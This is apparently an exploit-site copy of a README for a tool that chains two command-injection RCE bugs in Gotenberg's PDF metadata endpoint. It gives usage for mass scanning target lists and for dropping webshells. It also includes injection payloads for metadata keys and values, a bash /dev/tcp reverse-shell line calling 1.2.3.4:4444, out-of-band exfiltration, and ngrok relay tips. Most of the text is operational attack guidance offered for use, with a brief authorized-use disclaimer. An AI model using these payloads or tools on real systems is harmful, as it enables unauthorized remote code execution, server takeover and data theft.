Back Sploitus Exploit for Argument Injection in Thecodingmachine Gotenberg
 into PDF. Versions **≤ 8.30.1** are vulnerable to **two critical unauthenticated RCE vulnerabilities** at the `/forms/pdfengines/metadata/write` endpoint.
This repository ships **two tools** that chain both CVEs into a single exploitation workflow:
| **`gotenberg_rce.py`** | Detection + interactive shell + File Manager webshell drop |
| **`auto_revshell.py`** | Auto-detect IP → start listener → fire reverse shell payloads → interactive session |
### CVE-2026-42589 — Metadata Key Injection
| **Type** | OS Command Injection (RCE) |
| **Vector** | `POST /forms/pdfengines/metadata/write` |
| **Injection** | JSON metadata **keys** |
| **Root Cause** | `system()` via ExifTool config |
### CVE-2026-40281 — Metadata Value Injection (Perl)
| **Type** | OS Command Injection (RCE) |
| **Vector** | `POST /forms/pdfengines/metadata/write` |
| **Injection** | JSON metadata **values** |
| **Root Cause** | `qx()` (Perl) via ExifTool |
### 🐚 Auto Reverse Shell (`auto_revshell.py`)
python auto_revshell.py -u
**Auto-detect** your public IP → **bind** listener → **exploit** target → **drop you into a shell**.
python gotenberg_rce.py -u # check only
python gotenberg_rce.py -u -i # interactive (blind)
python gotenberg_rce.py -u --rev # auto reverse shell (auto IP)
python gotenberg_rce.py -u --rev --lport 4444 # auto with custom port
python gotenberg_rce.py -u --rev --lhost 1.2.3.4 --lport 4444
python gotenberg_rce.py -f targets.txt --rev --lport 4444 -t 20 -o results.txt
| `-u, --url` | Target URL **(required)** | — |
| `--lhost` | Your public IP | auto-detected |
| `--wait` | Seconds to wait for callback | `25` |
| `--timeout` | Per-request timeout | `60` |
| `--no-banner` | Skip banner | `false` |
### 🖥️ Interactive Shell (`gotenberg_rce.py`)
python gotenberg_rce.py -u -i
Drops you into an interactive pseudo-shell:
Linux gotenberg 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 x86_64 GNU/Linux
[*] Shell URL:
| `-f, --file` | File with targets (one per line) |
| `-t, --threads` | Threads for mass scan |
| `--check-only` | Only detect, no exploitation |
| `--shell` | Drop File Manager webshell |
| `-i, --interactive` | Enter interactive shell |
#### Meta-commands (inside interactive shell)
| `!upload` | Re-deploy File Manager shell |
python gotenberg_rce.py -f targets.txt --shell -t 20 -o results.txt
[*] Sending reverse shell to 1.2.3.4:4444...
[1/7] bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'...
[+] CALLBACK RECEIVED from 134.199.148.233
[*] Entering interactive shell. Type 'exit' to quit.
The tool sends a controlled payload to `/forms/pdfengines/metadata/write`:
POST /forms/pdfengines/metadata/write HTTP/1.1
Content-Type: multipart/form-data; boundary=...
Content-Disposition: form-data; name="files"; filename="test.pdf"
Content-Disposition: form-data; name="metadata"
| `HTTP 500` + long delay | **Blind RCE** |
| `HTTP 400` | Patched or invalid payload |
**CVE-2026-40281** — Perl injection in metadata **keys**:
**CVE-2026-42589** — `system()` injection in metadata **values**:
{"Title\n-if\nsystem('CMD')||1\n- ": "x"}
Commands are wrapped between unique markers and base64-encoded:
echo MARKER_START; (CMD) 2>&1 | base64; echo MARKER_END
The tool parses the PDF response (including zlib-compressed streams) and extracts the base64 blob between markers.
When the target returns `HTTP 500` (crash after command execution), the tool:
- Confirms RCE via **timing** (`sleep 8` → ~8s delay)
- Falls back to **reverse shell** or **OOB exfiltration**
# vulnerable if ` must be open in your firewall
3. If behind NAT, **port-forward** `` on your router
4. Or use a **VPS** / **ngrok** as a relay:
# Use: --lhost 0.tcp.ngrok.io --lport 12345
Target is **patched** (≥ 8.31.0). Verify:
Command **ran** but PDF crashed. This is **blind RCE**:
- Or OOB exfiltration (curl to your listener)
### Why not File Manager PHP on Gotenberg?
→ **Reverse shell is the only viable option.**
**GitHub:** [@HackfutSecRoot](
**Channel 1:** [t.me/+gsrpvshwGUc5MzI0](
**Channel 2:** [t.me/LinxProdXs404](
**ULP Cloud:** [@ulp_CLOUD1](
**DM:** [@HackfutS3c](
- [t.me/LinxProdXs404/249](
- [t.me/LinxProdXs404/541](
**This tool is provided for educational and authorized security research only.**
- ✅ Use on **bug bounty** targets within scope
- ✅ Use on **authorized pentest** engagements
- ❌ **Never** use on systems you don't own or have **written permission** to test
The author assumes **no liability** for misuse or damage caused by this tool.
- **Author:** [Hackfut](
- **Research:** Independent security research
- [CVE-2026-42589](
- [CVE-2026-40281](
MIT License — see [LICENSE](LICENSE) for details.
### ⭐ If you find this useful, drop a star! ⭐
**Made with ❤️ by [Hackfut](
├── README.md ← ce fichier
├── requirements.txt ← requests, urllib3
├── gotenberg_rce.py ← Outil 1 : interactive shell + webshell
├── auto_revshell.py ← Outil 2 : reverse shell auto
├── targets.txt ← exemple
├── results.txt ← généré
└── screenshot.png ← capture du shell interactif
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
